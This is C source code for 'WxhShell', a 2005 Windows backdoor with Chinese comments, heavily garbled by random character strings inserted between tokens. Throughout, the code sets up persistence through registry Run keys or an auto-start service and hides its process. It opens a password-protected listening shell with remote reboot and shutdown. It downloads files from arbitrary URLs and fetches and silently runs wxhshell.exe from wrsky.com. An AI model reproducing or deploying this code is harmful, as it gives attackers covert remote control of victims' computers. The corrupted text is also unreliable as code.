@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rY4{,4V static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wo5"f}vd# t%Vc1H2} HANDLE hProcess; $`(}ygmP PROCESS_BASIC_INFORMATION pbi; Z)<ljW %Ui&SZ\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'e_^s+l)a if(NULL == hInst ) return 0; {" S"V tPIT+1. ]z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xgn@1.}G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~J^Gzl NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !FX0Nx=oi 1q]V/V} if (!NtQueryInformationProcess) return 0; 5, R\tJCK e7T"?s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cq >{ if(!hProcess) return 0; P95U{ 2>Hl=bX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =hxj B*") ;XNe:g.CR CloseHandle(hProcess); +[:"$?J Qz2Yw ` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !4\`g? if(hProcess==NULL) return 0; 4G"T{A`O oXRmnt HMODULE hMod; X|^E+
`M4 char procName[255]; ,+-l1GpL unsigned long cbNeeded; lyNa(3
?
acm5dN if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _)
k=F= 3 GmU$w CloseHandle(hProcess); [g`9C!P-G e`
Z;}&
, if(strstr(procName,"services")) return 1; // 以服务启动 .I$Q3%s )XV|D return 0; // 注册表启动 ,X25 -OFZ } ,V'+16xW 28[hp[< // 主模块 VHwb 7f]gq int StartWxhshell(LPSTR lpCmdLine) 3/>T/To&2 { !G=!^RA SOCKET wsl; MlaViw BOOL val=TRUE; #_0OYL`(mE int port=0; (JHzwI8+ struct sockaddr_in door; =>#
S7= 4+e9:r] if(wscfg.ws_autoins) Install(); ~XQj0' fgIzT!fyz port=atoi(lpCmdLine); va F^[/
(g =Ryh@X& if(port<=0) port=wscfg.ws_port; M]4qS('[ ,r~pf(nz WSADATA data; teH.e!S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )w(-Xc?P S+Z_Qf if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GEj/Z};;[b setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ofWD{*j door.sin_family = AF_INET; 1;?n]L`T door.sin_addr.s_addr = inet_addr("127.0.0.1"); JX8Hn | door.sin_port = htons(port); Zz}Wg@&
>Eg/ir0 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t0h@i` closesocket(wsl); nI7G"f[%r; return 1; nJ'FH[' } #=C!Xx& ^kJ(bBY if(listen(wsl,2) == INVALID_SOCKET) { ,<R/jHZP9 closesocket(wsl); 0NrUB return 1; C1&~Y.6m } DuX7 Wxhshell(wsl); {`?C5<r WSACleanup(); *'4+kj7> 95LZG1]Rb return 0; =?g26>dYo Z-X(.Q } bC*( ,n<' 6-#<*Pg // 以NT服务方式启动 (3a]#`Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OXcQMVa
6 { Dx`-Kg_p DWORD status = 0; 8g0By;h; DWORD specificError = 0xfffffff; g}
\$9 .<&o, D serviceStatus.dwServiceType = SERVICE_WIN32; aVkgE> serviceStatus.dwCurrentState = SERVICE_START_PENDING; NwPGH=V serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j#L"fW^GM serviceStatus.dwWin32ExitCode = 0; s|B serviceStatus.dwServiceSpecificExitCode = 0; eGcc' LBr; serviceStatus.dwCheckPoint = 0; DP{kin"4I serviceStatus.dwWaitHint = 0; SNqw2f5 ;[@);-9q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q)0?aL if (hServiceStatusHandle==0) return; 4)MKYhm v0uDL7 status = GetLastError(); !qGER. if (status!=NO_ERROR) ?pSb,kN}' { eaLR-+vEB serviceStatus.dwCurrentState = SERVICE_STOPPED; RhwqAok|lj serviceStatus.dwCheckPoint = 0; p1~u5BE7O serviceStatus.dwWaitHint = 0; 2kMBe% serviceStatus.dwWin32ExitCode = status; `w/:o$& serviceStatus.dwServiceSpecificExitCode = specificError; fLkZ'~e! SetServiceStatus(hServiceStatusHandle, &serviceStatus); N
zrHWVD return; LpRl!\FY$ } #9{N[t NqyKR&; serviceStatus.dwCurrentState = SERVICE_RUNNING; [R
V_{F:' serviceStatus.dwCheckPoint = 0; ,36AR|IO) serviceStatus.dwWaitHint = 0; Mn$w_Z? if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K+2k}Hx6J } 1,UeVw/ v
C,53g // 处理NT服务事件,比如:启动、停止 p5F=?*[} VOID WINAPI NTServiceHandler(DWORD fdwControl) eh4` a<gC { ^na8d's: switch(fdwControl) ]?KTw8j} { MR4e.+#E case SERVICE_CONTROL_STOP: }/)vOUcEd serviceStatus.dwWin32ExitCode = 0; 2stBW5v3 serviceStatus.dwCurrentState = SERVICE_STOPPED; ((KNOa5 serviceStatus.dwCheckPoint = 0; <zd_-Ysn serviceStatus.dwWaitHint = 0; abog\0 { X S:W{tL! SetServiceStatus(hServiceStatusHandle, &serviceStatus); X}"Ic@8 } D*7JE return; Y)~Y; ;/G case SERVICE_CONTROL_PAUSE: Y:o\qr!Y serviceStatus.dwCurrentState = SERVICE_PAUSED; %DyukUJ break; >fZ N?>` case SERVICE_CONTROL_CONTINUE: Ek' ~i serviceStatus.dwCurrentState = SERVICE_RUNNING; +=.>9 break; hG1\ case SERVICE_CONTROL_INTERROGATE: o8<0#W@S break; b!(ew`Y; }; rq#8}T> SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]rwHr;. } kH;DAphk =[A5qwyv // 标准应用程序主函数 ai,\'%N int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &8=wkG% { JSXJlau %@C(H%obWd // 获取操作系统版本 V2Iqk]V%y OsIsNt=GetOsVer(); ++>HU{ GetModuleFileName(NULL,ExeFile,MAX_PATH); <jt_<p
+ u.\FNa // 从命令行安装 ;4(ULJ* if(strpbrk(lpCmdLine,"iI")) Install(); *[VO03
C:r@)Mhq // 下载执行文件 ?+3vK=Rf} if(wscfg.ws_downexe) { +#* F"k( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .\Z/j WinExec(wscfg.ws_filenam,SW_HIDE); kHWW\?O } 2EO WbN}M O_v8R7 { if(!OsIsNt) { ?=u/&3Cw // 如果时win9x,隐藏进程并且设置为注册表启动 nK!yu?mS HideProc(); e6G=Bq$ StartWxhshell(lpCmdLine); 1gK<dg } c>SFttbU else 5Z8Zb. if(StartFromService()) +qPpPjG; // 以服务方式启动 ,\){-H/n StartServiceCtrlDispatcher(DispatchTable); J#1-Le8@ else U-~6<\Mf // 普通方式启动 $ ,:3I*}be StartWxhshell(lpCmdLine); w^Mj[v# 2SjH7
' return 0; W;Pdbf" }
L3N?^^] g?7I7W~?` kjj4%0" d#tqa`@~ =========================================== i`nmA-Zj[ a *hWODYn yr;~M{{4 Q>ZxJ!B<k VtTTvP3 Ym% $!# " 9#;GG3 `7D]J*?` #include <stdio.h> Jn|sS(Q} #include <string.h> l+ ,p= #include <windows.h> Ux/|D_rlf #include <winsock2.h> z`Jcpt #include <winsvc.h> eq"
eLk6h #include <urlmon.h> @~=*W5 "_f~8f`y #pragma comment (lib, "Ws2_32.lib") 2uCw[iZM #pragma comment (lib, "urlmon.lib") mRurGaR k4C3SI*`4 #define MAX_USER 100 // 最大客户端连接数 3-=f@uH! #define BUF_SOCK 200 // sock buffer &g;&=<#I #define KEY_BUFF 255 // 输入 buffer I>bO<T` qsT@aSIo9 #define REBOOT 0 // 重启 /VmtQ{KTt+ #define SHUTDOWN 1 // 关机 ~|:U"w\[= 7:M`k #oDP #define DEF_PORT 5000 // 监听端口
x>]14bLz icrcP ~$A #define REG_LEN 16 // 注册表键长度 MQ#nP_i #define SVC_LEN 80 // NT服务名长度 _\2Ae\&c
}OsAO // 从dll定义API h&|S* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ShIJ6LZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?5IF;vk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M1mx {<]A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {py"Ob_ {`ghX%M(l // wxhshell配置信息 v 1.8]||^ struct WSCFG { /g`!Zn8a int ws_port; // 监听端口 & FpoMW char ws_passstr[REG_LEN]; // 口令 /Kd9UQU int ws_autoins; // 安装标记, 1=yes 0=no i8h^~d2" char ws_regname[REG_LEN]; // 注册表键名 [yhK4A char ws_svcname[REG_LEN]; // 服务名 mEZHrr J char ws_svcdisp[SVC_LEN]; // 服务显示名 Ueb&<tS char ws_svcdesc[SVC_LEN]; // 服务描述信息 c98^~vR]] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^\f1zg9I int ws_downexe; // 下载执行标记, 1=yes 0=no hNRN`\5Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mXPA1#qo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \[J\I cr`NHl/XF }; p9y@5z Bjp4:;Bb // default Wxhshell configuration `DFo:w!k struct WSCFG wscfg={DEF_PORT, 5%jy7)8C "xuhuanlingzhe", &} rmDx 1, Z}AhDIw!G "Wxhshell", <r1/& RW, "Wxhshell", c;B: o "WxhShell Service", FokSg[)5 "Wrsky Windows CmdShell Service", (&KBYiwr "Please Input Your Password: ", u9*7Buou^ 1, Y6E0-bL@Fe "http://www.wrsky.com/wxhshell.exe", *'n L[] "Wxhshell.exe" b[2 #t }; 3Fg{?C_l wVmQE // 消息定义模块 ?Q[b1: ;Lm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xE5VXYU char *msg_ws_prompt="\n\r? for help\n\r#>"; b{Bef*`/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Djr/!j char *msg_ws_ext="\n\rExit."; u_=^Bd char *msg_ws_end="\n\rQuit."; ,@]*Xgt= char *msg_ws_boot="\n\rReboot..."; rU
|% char *msg_ws_poff="\n\rShutdown..."; 3^,p$D<T:, char *msg_ws_down="\n\rSave to "; =x@v{cP YD,<]q% char *msg_ws_err="\n\rErr!"; 0JXXJ:d B char *msg_ws_ok="\n\rOK!"; [$D%]]/, IcA]B?+ char ExeFile[MAX_PATH]; ]Om;bmwt int nUser = 0; DP.Y<V)B HANDLE handles[MAX_USER]; ^
A J_
int OsIsNt; +7mUX ELZ@0, SERVICE_STATUS serviceStatus; @x@wo9<Fc SERVICE_STATUS_HANDLE hServiceStatusHandle; YM,UM> bcYGkvGbO // 函数声明 _)Ad%LPsd7 int Install(void); ^Z+p_;J$p int Uninstall(void); w
y&yK*w int DownloadFile(char *sURL, SOCKET wsh); H-qbgd6&>R int Boot(int flag); 717OzrF}A? void HideProc(void); }1mkX\wWP int GetOsVer(void); .^wBv
'Y int Wxhshell(SOCKET wsl); {yFMY?6rf void TalkWithClient(void *cs); ^8=e8O int CmdShell(SOCKET sock); *pYawT int StartFromService(void); 0O?\0k;o int StartWxhshell(LPSTR lpCmdLine); #('GGzL6c tI<6TE'!p# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RN2z/FUf VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fu>;hx]s T[- %b9h> // 数据结构和表定义 ;qs^+ SERVICE_TABLE_ENTRY DispatchTable[] = @GWlo\rM6^ { TPA*z9n+B {wscfg.ws_svcname, NTServiceMain}, [M2xF<r6t {NULL, NULL} |F +n7 }; KP_7h/e DFQ`<r&! // 自我安装 &-L9ws int Install(void) ao"Z%#Jb~ { -FS!v^ char svExeFile[MAX_PATH]; F8&L'@m9> HKEY key; @o6! strcpy(svExeFile,ExeFile); i(YR-vYK ?L"x>$ // 如果是win9x系统,修改注册表设为自启动 "8
?6;!, if(!OsIsNt) { {8556> \~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bD=R/yA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;!j/t3#a RegCloseKey(key); }O\g<ke:u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nT7]PhJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j>3Fwg9V RegCloseKey(key); bsc#Oq] return 0; [W99}bi$ } g,B@*2Uj } } x
KvN } @QDUz>_y else { SC--jhDZ >#y1(\e // 如果是NT以上系统,安装为系统服务 W~5gTiBZ] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ab[V->>% if (schSCManager!=0) s$~H{za { `)NTJc$): SC_HANDLE schService = CreateService CdKs+x&tZ ( TA+#{q+a schSCManager, "?6R"Vk?: wscfg.ws_svcname, f\;f&GI wscfg.ws_svcdisp, m4^VlE,`Dh SERVICE_ALL_ACCESS, 4{h^O@*g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |M EJ)LE7 SERVICE_AUTO_START, @h\i<sh!^ SERVICE_ERROR_NORMAL, E)]emeGd svExeFile, _8 l=65GW NULL, Q6n8 ,2* NULL, ~ujg250.L NULL, X{iidTW`xv NULL, EcPvE=^c NULL +&*>FeJY ); a
YY1*^ if (schService!=0) u4xJ-Vu { lUiO | CloseServiceHandle(schService); `FK qVd CloseServiceHandle(schSCManager); 'i;ofJ[.c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o3`0x9{ strcat(svExeFile,wscfg.ws_svcname); d>/4z#R}- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _I%mY!x\` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I]B9+Z?xo RegCloseKey(key); kdMB.~(K= return 0; {"0n^! }
dBHki*.u } Is97>aid CloseServiceHandle(schSCManager); UJ`%uLR~ } sA
}X)aP } Cyud)BZvm G
}M! return 1; \rCdsN 2H } \\/
!I
=|d5V% mK // 自我卸载 p+2uK|T9 int Uninstall(void) Y'y$k { @"^(} 6 HKEY key; ,88%eX| Pd(n|t3[8 if(!OsIsNt) { R!WeSgKCs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cSj(u%9} RegDeleteValue(key,wscfg.ws_regname); SNV;s, RegCloseKey(key); mN#&NA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
K4^B ~0~ RegDeleteValue(key,wscfg.ws_regname); ?hW(5]p| RegCloseKey(key); '=IuwCB|; return 0; G+iJS!= } B,Jn.YX } [ <Q{ } V.[b${ else { |h:3BV_ R xWD>: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bL5dCQxty if (schSCManager!=0) S1!_ IK$m { os(}X(
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /`w'X/'VJ if (schService!=0) -Q!?=JNtQ { ezd@>(hJ if(DeleteService(schService)!=0) { Kw>gg CloseServiceHandle(schService); 4;w#mzd CloseServiceHandle(schSCManager); _xdttO^N return 0; ;~s@_}& } 73M;-qnU CloseServiceHandle(schService); EKT"pL-EY } b;I!CyD CloseServiceHandle(schSCManager); Bc#6mO- } +Jc-9Ko\c; } '`p0T%w vaZ?>94 return 1; F#{PJ# } U3w*z6OG r3.v ^ // 从指定url下载文件 qxD<mZ@-R0 int DownloadFile(char *sURL, SOCKET wsh) hpticW| { >2)!w HRESULT hr; zyI4E\ char seps[]= "/"; x[%% )[d char *token; ;}k_2mr~ char *file; {XYf"ONi char myURL[MAX_PATH]; $Vm J[EF1 char myFILE[MAX_PATH]; 3K_!:[ J~G"D-l<9/ strcpy(myURL,sURL); +z\O"zlj token=strtok(myURL,seps); .]Z,O>N while(token!=NULL) $E@ke: { o6
[i0S file=token; _d<\@Tkw token=strtok(NULL,seps); #60<$HO:Z } 4>@-1nt} KL*UU,qU GetCurrentDirectory(MAX_PATH,myFILE); k?=V?JWY strcat(myFILE, "\\"); Iyvl6 strcat(myFILE, file); SHPZXJ{ send(wsh,myFILE,strlen(myFILE),0); \'N|1!EO|t send(wsh,"...",3,0); ]9pcDZB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k4nA+k<WI` if(hr==S_OK) #kGxX@0 return 0; 8%9OB5?F6 else %K]nX#.B& return 1; 0b}lwo,|\ KBGJB`D* } uO-R:MC /h%MWCZWm^ // 系统电源模块 oDas~0<oh int Boot(int flag) 8%#uZG\} { BF6H_g HANDLE hToken; Jh:-<xy) TOKEN_PRIVILEGES tkp; 3'2}F%!Mv
oApI/o if(OsIsNt) { l@YpgyqaL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #$%gs] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9/|i.2& tkp.PrivilegeCount = 1; #Ryu`b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J XnPKAN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 63-
YWhs; if(flag==REBOOT) { f:g<Bz=u)* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qs{Qg<} return 0; E]Hl&t/} }
ss3fq} else { wh:`4Yw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `\P :rn95; return 0; Y<.F/iaH } D 2Go,1 } p:ST$ 1 K else { P-`^I`r if(flag==REBOOT) { osX23T~- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YKvFZH) return 0; I_ .;nU1xA } w }2|Do$5 else { T}]Ao if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (A&@
< return 0; 0KT{K( } c\4n 7m,y } iVu+ct-iv z?"5="D return 1; JT^E`<nn } c)E[K-u +;[`fSi // win9x进程隐藏模块 j)IK void HideProc(void) n7q-)Dv_U { ?3z+|;t6C 3]Lk}0atpL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TzL40="F if ( hKernel != NULL ) W@$p'IBwm { (\/HGxv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v|,H d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v
V^ GIWK FreeLibrary(hKernel); q%:Jmi> } pmW=l/6+V3 Ft.BfgJ$ return; mQs'2Y6Oa } JcVq%~{M A# M // 获取操作系统版本 q=1SP@;\6 int GetOsVer(void) MthThsr7 { 47K5[R OSVERSIONINFO winfo; 4l`gAE$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \]OD pi
2 GetVersionEx(&winfo); /l$noaskX if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i)(QNpv return 1; Ju9v n44 else ^:)&KV8D| return 0; ]VYl Eqe } -% fDfjP
B-gr2- // 客户端句柄模块 3MzY]J
y( int Wxhshell(SOCKET wsl) M7>\Qk { [sk"2 SOCKET wsh; eXaDx%mM struct sockaddr_in client; Rt:PW}rFf DWORD myID; GKd>AP_ zuPH3Q={ while(nUser<MAX_USER) KnFbRhu[ { M{4_BQ4$ int nSize=sizeof(client); G<dXJ ]\\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #dfW1@m if(wsh==INVALID_SOCKET) return 1; er#=xqUY X0$_KPn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1a!h&!$9 if(handles[nUser]==0) T+ t-0k closesocket(wsh); L
wu;y@[ else z*[Z: nUser++; j{Fo 6## } 4#YklVm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); si;]C~X* d?P
aZz{4 return 0; I.<#t(io } ;hZ@C!S: 5nn*)vK { // 关闭 socket :ZIcWIV- void CloseIt(SOCKET wsh) QE}@|H9xs { '} kq@ closesocket(wsh); ?hu 9c nUser--; O&s6blD11 ExitThread(0); X>6a@$Mx P } IyuT=A~Ki F3'X // 客户端请求句柄 4>E2G: void TalkWithClient(void *cs) ,i,=LGn { nJya1AH; Z7/dRc
SOCKET wsh=(SOCKET)cs; {L eEnh- char pwd[SVC_LEN];
k
WtUj char cmd[KEY_BUFF]; 4dK@UN\ char chr[1]; ?f`-&c; int i,j; F1=+<]! HW G~m:km while (nUser < MAX_USER) { S_CtEM vSA%A47G if(wscfg.ws_passstr) { FTfA\/tl(; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /fq6-;co+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PS22$_} //ZeroMemory(pwd,KEY_BUFF); IXN4?=)I i=0; M5V1j(URE while(i<SVC_LEN) { g3XAs@ !%X`c94 // 设置超时 D+3Y.r9 fd_set FdRead; aVYUk7_ < struct timeval TimeOut; "p{'984r< FD_ZERO(&FdRead); ;Z_C3/b FD_SET(wsh,&FdRead); eQx"nl3U% TimeOut.tv_sec=8; \PONaRK|[z TimeOut.tv_usec=0; $(R)
=4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v^pP&
<G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kI'A`
/Bl `[\phv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J4g;~#_19 pwd=chr[0]; "/fs%F if(chr[0]==0xd || chr[0]==0xa) { h;KK6*Z*$E pwd=0; N96BWgT break; z{d5Lrk } >nDnb4 'C i++; ,]mwk~HeF } GvOAs-$ QO.gt*" // 如果是非法用户,关闭 socket @;}H<&" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }$1;< } Ag6
( }6>J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0?xiG SZV send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y(zN 7]j-zv while(1) { `yZZP YoJ'=z,e ZeroMemory(cmd,KEY_BUFF); *"\Q ~#W m[j3s=Gr // 自动支持客户端 telnet标准 Z5L1^ j=0; uFWgq::\ while(j<KEY_BUFF) { tJPRR_nZv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )X;cS}
yp cmd[j]=chr[0]; ef;L|b%pp if(chr[0]==0xa || chr[0]==0xd) { N{t:%[ cmd[j]=0; N08n/u&cr, break; P{!:pxu[ } fNPj8\#V, j++; EiN)TB^] } wWU_?Dr_~ znO00qX // 下载文件 N-9gfG if(strstr(cmd,"http://")) { nln6:^w send(wsh,msg_ws_down,strlen(msg_ws_down),0); A'1AU:d if(DownloadFile(cmd,wsh)) R?~h7 d send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3>xpw G else _vV&4> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vqOLSE"t*O } sC_UalOC_ else { YB~t|m65 j(C
UYm switch(cmd[0]) { @:9fS
t} i97 ; // 帮助 7&1~O# case '?': { 2^#UO=ct send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;sR6dT) break; )?&kQ^@v } Y;F
R"~^ // 安装 ?s)sPM? case 'i': { L?27q if(Install()) u?;Vxh3@| send(wsh,msg_ws_err,strlen(msg_ws_err),0); !5%5]9'n@* else asN
} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $>ZP%~O
break; ,i?!3oLT } hdtnC29$ // 卸载 KzX
,n_`an case 'r': { E(!6n= qR if(Uninstall()) <yI,cM<c send(wsh,msg_ws_err,strlen(msg_ws_err),0); YB
B$uGA else p;=kH{uu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V<2fPDZ break; w;@25=
| } !x$:8R // 显示 wxhshell 所在路径 JkDPuTXD case 'p': { Lp`<L -s char svExeFile[MAX_PATH]; xGEmrE<; strcpy(svExeFile,"\n\r"); ^]qV8 strcat(svExeFile,ExeFile); 2\63&C^ send(wsh,svExeFile,strlen(svExeFile),0); 3zTE4pHzu+ break; fj-pNl6Gf } ).}k6v[4) // 重启 ,0uo&/Y4L case 'b': { [AX"ne#M* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A!W"*WT if(Boot(REBOOT)) \q|7,S,5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); (#B^Hyz! else { |\%F(d330 closesocket(wsh); 3> \fP#oQ ExitThread(0); uOl(-Zq@ } #W@% K9 break; ]LBvYjMY } 4Wla&yy // 关机 1Y"35)CR) case 'd': { 0^}'+t,lc send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dmaqXsU8q if(Boot(SHUTDOWN)) 60,-\h send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?Nn>xF9X else { WiNr866nB closesocket(wsh); 3 "l
F ExitThread(0); K)Zkj"y } jemxky break; 6I&j
cHH } aXIB ) $1 // 获取shell UOu6LD/|h case 's': { 6c2ThtL CmdShell(wsh); R] Disljq closesocket(wsh); "VDk1YX_&l ExitThread(0); G&@-R{i break; u*26>. } ]CIQq1iY // 退出 L8:]`MQ0 case 'x': { chO'Q+pw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y)p$_.YFF CloseIt(wsh); EItxRHV5 break; 4ypRyO } eA1k)gjE // 离开 E5*-;>2c case 'q': { oE!hF }O send(wsh,msg_ws_end,strlen(msg_ws_end),0); }0BL0N`_ closesocket(wsh); NqT1buU# WSACleanup(); 8lOZIbwS exit(1); ..jq[(;N break; C!7U<rI } @1<omsl } #.)xm(Ys } T/wM(pr'
Mu'^OX82 // 提示信息 +MNSZLP] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }%!FMXe } Lf^5Eo/
5A } (Bt;DM#> .'5'0lR5 return; &;ZC< |